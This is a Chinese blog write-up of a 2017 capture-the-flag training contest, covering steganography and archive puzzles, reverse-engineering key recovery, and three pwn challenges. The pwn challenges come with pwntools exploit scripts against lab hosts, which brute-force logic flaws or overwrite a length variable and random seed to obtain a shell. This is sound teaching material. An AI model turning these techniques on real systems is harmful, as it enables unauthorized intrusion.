10.0.0.55_12-16训练赛部分writeup
2017-12-16训练赛
0x1 - MISC
MISC100
一张帅行的照片
目测是图片隐写,但是binwalk并没有出来,应该是对文件头进行了修改
010editor查看一下,发现在jpg文件尾之后还有大量的数据
而且在灰色部分发现了IHDR,是png文件的一个标志,所以应该是文件连缀之后删去了png的文件头、尾
所以可以进行修复,在灰色部分前后分别加上png的文件头尾,并删去前面帅行的数据
保存之后发现图片是纯白的,而且在linux下无法打开
->有可能是文件长宽被修改之后crc校验不匹配导致的
详情见M4X司机http://www.cnblogs.com/WangAoBo/p/7108278.html
提供两种方法
①利用crc进行宽和高的爆破,得到正确的尺寸,修改得到完整图片
flag就是帅行的女朋友标准
②直接删去部分数据
这个操作不是很稳,但是比写脚本爆破要快一点
可以看到在图片中存在大量的单调规则的数据,不会是有价值的信息
所以可以直接把这部分删掉,把下面被隐藏的部分暴露出来
效果也还不错
MISC200
一个多重压缩包,tar.gz方式压缩的
经过简单查看,每两层一个数字作为名字,先解压gz,之后是tar包
exp:
#!/usr/bin/env python import gzip
import os
import tarfile def un_gz(name):
g_file = gzip.GzipFile(name)
new_name = name+"tar"
open(new_name,"w+").write(g_file.read())
g_file.close()
# un_gz(new_name)
tar = tarfile.open(new_name)
name = tar.getnames()[0]
tar.extract(name)
tar.close()
un_gz(name) un_gz("800")
get flag:
0x2 - Reverse
Reverse100
这就是关键函数了
把a1的每一位和0x804A040的每一位进行比对
比较简单的逻辑,把运算的优先级看好,按照逻辑写出反向计算脚本
exp:
s=[0x8F,0xAA,0x85,0xA0,0x48,0xAC,0x40,0x95,0xB6,0x16,0xBE,0x40,0xB4,0x16,0x97,0xB1,0xBE,0xBC,0x16,0xB1,0xBC,0x16,0x9D,0x95,0xBC,0x41,0x16,0x36,0x42,0x95,0x95,0x16,0x40,0xB1,0xBE,0xB2,0x16,0x36,0x42,0x3D,0x3D,0x49]
a='./re100'
ls=''
for i in range(42):
t=(((s[i] & 0xAA) >> 1) | (2*(s[i]&0x55)))-9
ls += chr(t&0xffff)
print(ls)
需要注意的是,减号的优先级还挺高的,漏掉原来的一个括号,就得不到正确的结果了
Reverse200
一个64位程序,check被破坏了,不能用ida使用F5,下面给出三个方法
①使用gdb调试
在gdb中,找到strcmp函数,查看参数就能直接看到flag(M4x的图,别问我,我还没get技能,会玩了可能来补一下)
②修复程序,使其可以使用F5查看伪代码
左箭头指向处ALT+ k,把右箭头指向处改为0即可
下面应该就比较好弄了
③利用程序漏洞爆破
也就我这么皮,上面删图片数据,下面用漏洞爆破了
在题目更新之前,存在一个逻辑错误
在试运行时发现输入“flag”,也能得到输入正确的反馈
所以很容易想到如果输入预期字符串的前n的字符,那么会得到正确回馈
所以可以根据这个特性进行逐位爆破:
在已知flag后加入一个可打印字符,如果回馈正确,就把这个字符加入flag中
到最后能得到完整的flag
exp:
#!/usr/bin/env python from pwn import *
import string # context.log_level='debug'
payload = 'flag{'
feedback = ''
sou = string.printable
# print sou
while(1):
for i in sou:
pay=payload+i
io=process("./re200")
elf = ELF("./re200")
io.sendline(pay)
feedback = io.recvline()
if(feedback[19]=='l'):
payload = pay
print pay
break
io.close()
if(pay[-1]=='}'):
break
也就几十秒就出来了,看来官方解答还是用gdb嘛
0x3 - PWN
pwn100
没有elf的pwn
将ip和端口在浏览器打开就是程序的输出
给出了溢出跳转的函数地址,而且是64位的地址
所以只需要我们根据输入payload之后的回馈,将该地址覆写到合适的位置,即找出填充字符串的长度
经过尝试,填充字符串为0x38,所以得到exp
地址是随机化的,按照小端序和返回提示,找到正确的填充长度
在此目录下,可以找到hiddenlevel
(命令语句都不会,能找出来才怪哩)
pwn200
好题!开创了py出pwn的先河!
一个pyc文件,可以很容易反编译出准确的源码
那么面临两个问题:找出程序中system函数的地址,确定溢出长度
好了,上一行划掉。这不是一个溢出的漏洞,而是程序逻辑错误
可以发现,在程序进行随机字符比对时,没有进行一对一的比较,而是6*6的比较方式
这就造成,只要我们的输入和随机字符串有一个相同,就能实现match==6
所以我们可以采用相同的key = 'aaaaaa',循环的执行程序,直到遇到含有一个‘a'的随机字符组合
exp:
#!/usr/bin/env python from pwn import *
import string
context.log_level = 'debug'
while(1):
feedback =''
io=remote("10.4.21.55",9002)
elf = ("./pwn200")
payload = 'a' * 6
# io.recvuntil("chioce: ")
io.recvline()
io.recvline()
io.recvline()
io.recvline()
io.recv(13)
io.sendline("1")
io.recvuntil("chars: ")
io.sendline(payload)
feedback = io.recvline()
if(feedback[0]=='H'):
io.close()
continue
else:
io.interactive()
break
print feedback
很快就能跑出结果
pwn400
有点坑是真的。。
美(sang)丽(xin)壮(bing)观(kuang)的全保护题目,而且确实限制了读取长度
在ida中查看
开了金丝雀,在目前没有get绕过canary的情况下,栈溢出控制返回地址就行不通了
但是可以发现两点比较有价值的:
①username在data区,下面紧邻了len,也就是控制密码读取长度的变量
②密码(buf)的下面有seed
所以我们可以有以下思路:
先在username输入时覆盖len,使其长度足够
输入password时,覆盖seed,使随机数种子已知
如此控制了随机数的种子,便掌控一切
#!/usr/bin/env python from pwn import *
import random as rd
context.log_level='debug'
v6 = [395,2255,862,1541,3798,3688,1267,935,26,3543,3926,2443,2946,1158,515,2110,998,3883,3834,4603,2920,3844,4543,3231,796,1097,2927,846,541,2832,233,2229,465,3617,3079,2223,3953,587,1907,80,3695,858,1511,269,1154,2807,3588,2290,1184,3607,1726,1184,963,167,2541,729,2175,2569,3708,298,4252,211,1338,571,1140,48,1929,1156,4375,3336,4652,4650,3656,2595,2239,1774,1361,2333,710,472,1477,1834,948,2302,1179,3410,229,938,2597,1951,563,2927,4381,1415,4199,1508,2048,4368,2999,1519]
io = remote("10.4.21.55",9003)
# io = process("./pwn300")
elf = ELF("./pwn400")
username = 'a'*12+p32(100)
password = 'a'* 9 + p32(0)
# io.recvuntil(")\n")
io.recvline()
io.recvline()
io.recvline() io.sendline(username) io.recvline()
io.sendline(password)
io.recvline()
io.recvline() for i in range(100):
io.recvline()
io.recvline()
io.recvline()
io.sendline(str(v6[i])) io.recvline()
io.recvline()
io.interactive()
io.close()
(在尝试过程中遇到几次recvuntil不能正常recv的情况,便改成了多个recvline)
需要注意的是,此时虽然在seed处覆盖了“p32(0)”,但是并不是“srand(0)”
所以随机数表可通过自己编写C脚本,使用相同的值覆盖seed,得到和程序相同的随机数表
掌控了随机数,便可以按顺序输入给程序,使得猜对100次,获得shell
等get了绕金丝雀的技能再回来收拾这家伙
0x4总结扯皮
这次的训练赛收获还是很大的,虽然有些地方是投机取巧的,但pwn做的还是很舒服(全靠M4x司机带)
三个pwn题都比较有新意,突破了之前练习的常规思路
第一个没有elf,还是第一次遇到,不能对程序进行分析,抱着试试的态度解锁盲pwn新姿势
第二个突破天际,竟然是py,之前都是常规套路的溢出漏洞,找了半天怎么对pyc文件进行溢出的,经过提醒才仔细看代码的逻辑漏洞,关注点还是要全面一点吧
第三个吊炸天的全保护。最开始注意到len和seed的位置特殊时,还真有过一丝控制随机数的想法,但总觉得太过暴力,不符合pwn的美学,想去找适合新手用的绕过金丝雀进行溢出,然而事实就是这么粗暴。。。等我get了绕canary,再回来收拾收拾这家伙,美学不容破坏
2018-1-4新生选拔赛
作者:辣鸡小谱尼
出处:http://www.cnblogs.com/ZHijack/
如有转载,荣幸之至!请随手标明出处;
10.0.0.55_12-16训练赛部分writeup的更多相关文章
- 10.0.0.55训练赛 Writeup
From LB@10.0.0.55 Misc 0x01 misc100(图片隐写) 首先用binwalk扫了一下,发现没毛病. 然后就搜了一下jpg的文件尾FFD9,如下图,看到了png格式的标志IH ...
- CentOS 7.x编译安装Nginx1.10.3+MySQL5.7.16+PHP5.2 5.3 5.4 5.5 5.6 7.0 7.1多版本全能环境
准备篇 一.防火墙配置 CentOS 7.x默认使用的是firewall作为防火墙,这里改为iptables防火墙. 1.关闭firewall: systemctl stop firewalld.se ...
- Linux平台 Oracle 10gR2(10.2.0.5)RAC安装 Part1:准备工作
Linux平台 Oracle 10gR2(10.2.0.5)RAC安装 Part1:准备工作 环境:OEL 5.7 + Oracle 10.2.0.5 RAC 1.实施前准备工作 1.1 服务器安装操 ...
- Linux下Oracle 10.2.0.1升级到10.2.0.4总结
最近部署测试环境时,将测试环境ORACLE数据库从10.2.0.1升级到了10.2.0.4,顺便整理记录一下升级过程. 实验环境: 操作系统:Oracle Linux Server release 5 ...
- 【OpenCV】opencv3.0中的SVM训练 mnist 手写字体识别
前言: SVM(支持向量机)一种训练分类器的学习方法 mnist 是一个手写字体图像数据库,训练样本有60000个,测试样本有10000个 LibSVM 一个常用的SVM框架 OpenCV3.0 中的 ...
- Ubuntu14.10+cuda7.0+caffe配置
转自:http://blog.csdn.net/lu597203933/article/details/46742199 Ubuntu14.10+cuda7.0+caffe配置 一:linux安装 L ...
- RAC分解步骤之一,在oracle linux 4u4上安装oracle 10.2.0.1.0操作日志
练习oracle的rac组建过程,第一步,先练习4u4上安装oracle 10.2.0.1.0.直接安装rac,有些难度.从简单的做起.总RAC步骤,参照小布老师的RAC组建. 1. 启动vc,登陆v ...
- kafka_2.11-0.10.0.0安装步骤
Kafka安装配置 我们使用5台机器搭建Kafka集群: 1. cluster-1-namenode-1-001 172.16.0.147 2. cluster-1-datanode-1- ...
- macOS Sierra安装Apache2.4+PHP7.0+MySQL5.7.16
Mac系统上虽然自带PHP和Apache,但是有时不是我们想要的版本呢.今天我们就在macOS Sierra(10.12.1)上安装比较新的版本的PHP版本,也就是PHP7.0+了.本篇博客我们安装的 ...
随机推荐
- ZOJ 3777-Problem Arrangement(状压DP)
B - Problem Arrangement Time Limit:2000MS Memory Limit:65536KB 64bit IO Format:%lld & %l ...
- 最长上升子序列(logN算法)
例如:1 7 3 5 9 4 8 一个序列,比如说a[]={1,7,3,5,9,4,8},找出它的最长上升子序列的个数,很明显是4个,可以是{1,3,5,9},{1,3,5,8}或者{1,3,4,8} ...
- 暑假练习赛 004 E Joint Stacks(优先队列模拟)
Joint StacksCrawling in process... Crawling failed Time Limit:4000MS Memory Limit:65536KB 64 ...
- 使用Apache Commons Email 发生邮件
Apache Commons Email的Maven依赖 <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-e ...
- 聊聊RPC及其原理
什么是RPC? RPC是Remote Procedure Call的缩写,想Client-Servier一样的远程过程调用,也就是调用远程服务就跟调用本地服务一样方便,一般用于将程序部署在不同的机器上 ...
- C#使用Oracle.ManagedDataAccess.dll
在刚接触C#的时候由于公司使用的就是Oracle数据库,那么C#怎么连接Oracle数据库就成了首要去掌握的知识点了.在那时没有ODP.NET,但visual studio却对Oralce数据库的调用 ...
- Python做的第一个小项目-模拟登陆
1. 用户输入帐号密码进行登陆 2. 用户信息保存在文件内 3. 用户密码输入错误三次后锁定用户 主要采用循环语句和条件语句进行程序流程的控制,加入文件的读写操作 while True: choice ...
- Win10下Docker学习(1)安装
Docker简介 Docker 是一个开源的应用容器引擎,让开发者可以打包他们的应用以及依赖包到一个可移植的容器中,然后发布到任何流行的 Linux 机器上,也可以实现虚拟化.容器是完全使用沙箱机制, ...
- java面向对象整理
1.局部变量与全局变量的区别 区别一:定义的位置不同 定义在类中的变量是成员变量 定义在方法中或者{}语句里面的变量是局部变量定义 区别二:在内存中的位置不同 成员变量存储在对内存的对象中 局部变量存 ...
- 4)C语言指针(C自考学习)
指针和指针变量 指针就是地址,地址是一种数据类型.指针变量也是变量,但只能存放地址类型的数据,可以称为"地址型"变量. 1)内存单元和地址 一个程序运行时,程序本身和程序中用到的数 ...